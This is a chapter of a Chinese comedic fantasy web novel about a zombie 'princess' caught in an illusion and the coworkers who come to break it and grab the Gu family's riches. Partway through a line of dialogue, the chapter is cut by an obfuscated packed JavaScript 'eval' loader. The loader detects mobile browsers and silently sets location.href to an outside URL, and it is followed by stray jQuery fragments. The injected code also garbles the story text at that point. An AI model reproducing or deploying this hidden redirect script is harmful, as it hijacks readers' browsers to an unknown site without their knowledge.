14. 清心寡欲
作品:《98%辛德瑞拉》 要男人就算了,还一下要十个?多大瘾呐!
藏在人后的任大师听得一愣一愣的,而顾泉河已经抓住机会勇敢站了出来——这就是打工人和老板的差距。
“公主吩咐,贱民万死不辞,”顾泉河此时已经完全忘记了趴在地上被蹂躏践踏的亲儿子,满脸为皇家办事与有荣焉的喜气洋洋,“去,所有人都出去找,给公主找十个帅气男人回来!”
所有人瞬间倾巢出动,张牙舞爪在整个顾氏庄园内乱窜,一时间叫唤着“男人”“男人”“哪儿有男人”的声音不绝于耳。
这宏大的场面,令辛姬忍不住发出一声满意的喟叹,随即她的目光就落在了郑清心身上。
要说最符合辛姬审美的,还得是身材威猛脸蛋淳朴反差感拉满的郑清心——可惜人家现在是御前侍卫。
她,是公主,他,搞仕途。
辛姬打心底里明白,无论她再怎么喜欢,都不能阻碍一个有志青年的雄心壮志!
恋恋不舍地看了一眼,又一眼,辛姬终究理智战胜邪恶,掐灭了对御前侍卫强制爱的歪心思。
然而下一秒,她的视线忽而凌厉,定定看向了任大师:“你怎么不去抓男人?”
任大师霎时汗毛直立,心中天人交战。
她都六十了,傲然立于人世间半辈子,难道也要像那些被幻境冲昏头脑的普通人一样,张牙舞爪要男人?
可对方是个凶煞,现在还是这幻境中一呼百应的存在,跟她对上属实不明智……索性先假装顺应,再寻机会制服。
任大师打定主意,赶紧举起手,学着其他人一般小声呼喊:“男人……我要男人……”
这一喊不得了,她心中的躁动像泄洪一样倾洒而出,整个人瞬间不能自已。
是啊,她都六十了,清心寡欲这么多年,为了精进道学放弃了一切……然而夜深人静,午夜梦回,她也压抑,她也寂寞,她也苦……
“男人!”任大师原本放不开的声音忽然变得激昂,“我要男人!!!”
这沙哑的嗓音,这浓厚的感情,一听就是清心寡欲好些年积攒出来的情绪。
辛姬指着逐渐疯魔的任大师,朝众人发话:“看到没有?都跟人老太太学着点!感情要充沛!嗓门要大!”
任大师从顾氏大厅一路跑到花园,跟鬣狗一样闻着腥味儿找男人,然而一无所获,她转头又要往回跑,忽然看到某堵围墙边上蛛网晃荡,一道靓丽的身影顺着白绳缓缓下爬。
那健壮的手臂,那宽肩窄腰丰臀荷尔蒙……
任大师两眼放光,嗷地一声扑了上去。
“男人!!!”
————
顾家面积最大的复式卧室里,辛姬正躺在kingsize全自动按摩椅上享受,任大师拽着两个人就走了进来。
“公主,”任大师满脸喜滋滋,“我找了两个男人回来!一老一少,很是可人!”
没等辛姬发话,默默守护的辛德和郑清心率先上前。
辛德打量了一番那两人皮相,满意地让出了路,郑清心高傲的眼神在那两人身上流连片刻,却忽然发出一声轻嗤。
老实巴交站在角落里的顾泉河的心一下子提了起来。
那御前侍卫为何这番作态?难道……是了,这才两个,公主可是要十个……这数量实在差得远呐。
顾泉河心头顿时涌上几分忧愁,他抬眼看看神色不明的辛姬,虽然不知道胸中那股子责任感从何而来,但终究是一咬牙,义无反顾地站在了队尾。
三个,也比两个强!
辛姬刚睁开眼就看见这一幕,立马厉声冷喝:“最后那老头,给我拱出去!”
脸都皱成橘子皮了还敢来竞选驸马?瞧不起谁呢!
顾泉河只好垂头丧气退回老伴儿身边。
任大师搓着手,恋恋不舍地看了顾泉河一眼,心中哀叹——小顾确实是有几分姿色,可惜入不了公主的眼……
安庆兰顺着任大师的眼神看向自家老头,反应过来顿时怒目圆睁。
他们俩?啊?啊?
虽有顾泉河美色诱惑,但任大师还是分得清孰轻孰重,她一闪身,亮出身后一老一少两人:“公主,您看这两人怎么样?”
年老的那人看着五十来岁,脸上皱纹横生头发花白,神色憔悴却难掩俊秀,赫然是秦英。另一个年轻男人看向辛姬的眼神直勾勾的,嘴角略微那么一扬,就透出点视财如命的铜臭气来,不是皮貅还能是谁?
辛姬:“……”
她定定看了片刻,忽然撇开头闷闷开口:“报看,拉走拉走!”
皮貅看了辛姬半晌,眼中闪过几分怀疑,忽然冷声开口:“下班打卡了吗?早退扣两百!”
室内众人神色茫然,唯有辛姬飞速驳嘴,嘴皮子无限丝滑。
“六点一刻我就打卡了!不算早退!”
皮貅一扯嘴角,笑容冷冽:“哟,公主还知道打卡呢?哪个朝代生人啊?”
……都怪这破嘴,接这茬干嘛?!
辛姬面上浮现几分懊恼,还想再找补几句,对面的皮貅忽然开始宽衣解带,颐指气使:“你们都退下,我要给公主侍寝了。”
辛姬大惊,立马制止:“哎,别!丑男人别想近我的身!”
皮貅顺势凑上前,咬着牙低声威胁:“那你这个月工资别想要了。”
“……”辛姬赶紧挥手,“就他了,走,你们都走!”
辛德和郑清心立马响应号召退出去,顾氏老两口同样手脚麻利,唯有任大师脸上一喜,淫、邪的目光在秦英身上转悠,桀桀冷笑着就想把他拖走。
辛姬看了看秦英那弱柳扶风的模样,到底不忍心同事受摧残:“这个老的也留下。”
任大师眼中闪过几分遗憾,但也只能退场。
大门一关,室内只剩三人,皮貅上半身脱得就剩个背心,却还在继续宽衣解带。
“人都走了,”辛姬疑惑发问,“你这是干嘛?”
没成想皮貅忽然勾唇一笑,手指顺着辛姬的胳膊往上一抚,直接揽住了辛姬的肩头。
皮貅魅惑一笑,唇红齿白眼眸勾人,声音仿佛低了八个度,字字句句锤在辛姬的心巴上:“还能干嘛?侍寝啊。”
辛姬愣了一下,不由审视着眼前这人。
虽然她一直喊“丑男人”,但皮貅实际上颇有几分姿色,要不……
辛姬搓着手,发出嚯嚯淫、笑:“嘿嘿嘿~要不我就凑合凑合?”
皮貅一愣,原本笑嘻嘻的脸瞬间沉得比锅底还要黑。
五分钟后,皮貅冷着脸,一路踹着辛姬的屁股把僵从东踹到西。
“凑合,凑合!你还真想凑合?听不懂好赖话?!”
“就你这样的,还想让我侍寝?胆子真肥!就这么个小幻境都破不了,还叫同事过来加班,懂不懂规矩,懂不懂规矩?”
辛姬仗着皮糙肉厚死不悔改,梗着脖子大吼:“你敢蔑视公主?!”
皮貅本来都有点累了,闻言跟加了蓝似的,小腿弹得又快又有劲儿:“什么公主?什么公主?你算什么迪S尼公主?!有本事你拿这个公主身份让局里给你交社保啊!”
辛姬这下没话说了,等皮貅抱臂冷脸喘气恢复体力之际,她就蹲在地上揣着手,吧嗒吧嗒抽旱烟。
俩人都倔的跟头驴似的,谁也不服谁,气氛瞬间降到了冰点。
秦英坐在床边看了半天戏,这会儿才敢上前,他轻柔揽住辛姬的肩头,那温柔的姿态,那沧桑的面容,仿佛辛姬多年的老友。
“哎,小辛,你别怪组长发火,他也是担心你们。刚刚我们俩一路跑过来,一想到你们身陷囹吾就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351663|183367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
急得不行,为了不打草惊蛇,甚至是翻墙进来的……”
辛姬瞬间抓住华点,瞪着皮貅怪笑一声:“呵呵,说得好听,还不是叫人抓住了?”
这句话没抨击到皮貅身上,反而一下子刺痛了秦英的心——他蓦地想起自己刚才翻围墙进来的时候,那个神婆“嗷”地一下扑了过来,粗粝手掌在他身上胡乱揩油,他一个二百岁的蜘蛛精,冰清玉洁洁身自好好好做人,哪受过这种屈辱……
然而这种事,他又能向谁诉说?
秦英揣着心里苦闷又坐回了床边,再没吭声。
“现在说再多也没有用,都过来想想怎么办吧。”
皮貅一招手,三人霎时围成一个圈儿,对了个眼神,同时坚定地攥起了拳头。
秦英歌声嘹亮:“打破幻境!”
辛姬和皮貅异口同声:“拿到顾家的钱儿!”
秦英:“……什么?”
皮貅瞥了秦英一眼,叹息着摇头:“咱们打破幻境走了,难道就把人民群众的生命安危拱手交给妖魔?难道要把顾家那么多钱留给妖魔当祸乱启动资金?你啊,拼劲有余,灵活不足,总是想得不够长远!”
“就是,我一个僵尸都知道得救人,”辛姬嚷嚷完,扭头抚摸着一套红木贵妃榻,看了又看,满意得不得了,“这个榻可好可好,卖出去可值不少钱儿呢!”
“……行吧,”秦英第三次坐回床边,“你们说咋办就咋办吧。”
辛姬和貔貅对了个眼神,同时做出行动——
辛姬扯着嗓子张口就喊:“安妈,安妈!”
安庆兰低眉顺眼跑进来,正跟皮貅擦肩而过,她站到辛姬面前,低声应道:“哎!公主有什么吩咐?”
“你的手机呢?”辛姬叉着腰颐指气使,“快给我拿过来!”
安庆兰愣了几秒,见辛姬面露催促,她赶紧胡乱点头跑了出去。
辛姬还在幻想着从安庆兰这边捞笔大钱儿过上挥霍无度生活,嘴角压都压不下去,结果就见安庆兰拎着只活鸡噔噔噔跑了回来。
安庆兰举起活鸡,满脸淳朴:“公主,鸡来了。”
辛姬连说带比划:“我说手机,手机!你听懂了吗?”
安庆兰神色茫然,嘴皮子却还利索道:“咱们辛国可是封建王朝,哪有手机?”
……完了,这老太太彻底陷入幻境设定了。
辛姬耐心售罄,索性撸起袖子自己找。
同一时刻,屋外的皮貅拽住了顾泉河的胳膊,低声逼问:“顾家的保险箱在哪?宝贝又在哪儿?”
顾泉河闻言,顿时露出警惕的神色,他谨慎地观察了几眼四周,朝着皮貅小幅度招手:“跟我来。”
两人七拐八拐,最终停在二楼尽头一间房门口,顾泉河进去之前还轻轻敲了几下门。
怕惊扰到宝贝?这么虔诚?
皮貅面上不显,原本吊儿郎当插兜的手却抽了出来,整整衣领,正色起来。
顾氏富得流油,家里的宝贝肯定也不一般,是10000克的金板砖?还是3000克拉的大钻石?他也不好拿些太显眼的东西,运点古玩玉器、珠宝钻石就行了,实在不行还是简单粗暴揣点金条……
“咳、咳咳!”
门一开,一阵撕心裂肺的咳嗽声迎面而来,顾泉河站在一张大床边上,尽情展示,脸上表情那叫一个自豪:“这就是整个顾家最大的宝贝——顾家的,根!”
“咳!”顾珂白着一张脸躺在床上,阴鸷看来。
每一次呼吸都仿佛是对皮貅的一次挑衅。
皮貅发家致富的笑容凝在脸上:“……”
他气极反笑,看着那个靠在床头的恶鬼,缓缓转动腕关节,小嘴吐出冰凉的话:
“顾家根是吧?”
“今天晚上,让你痛失你的根儿。”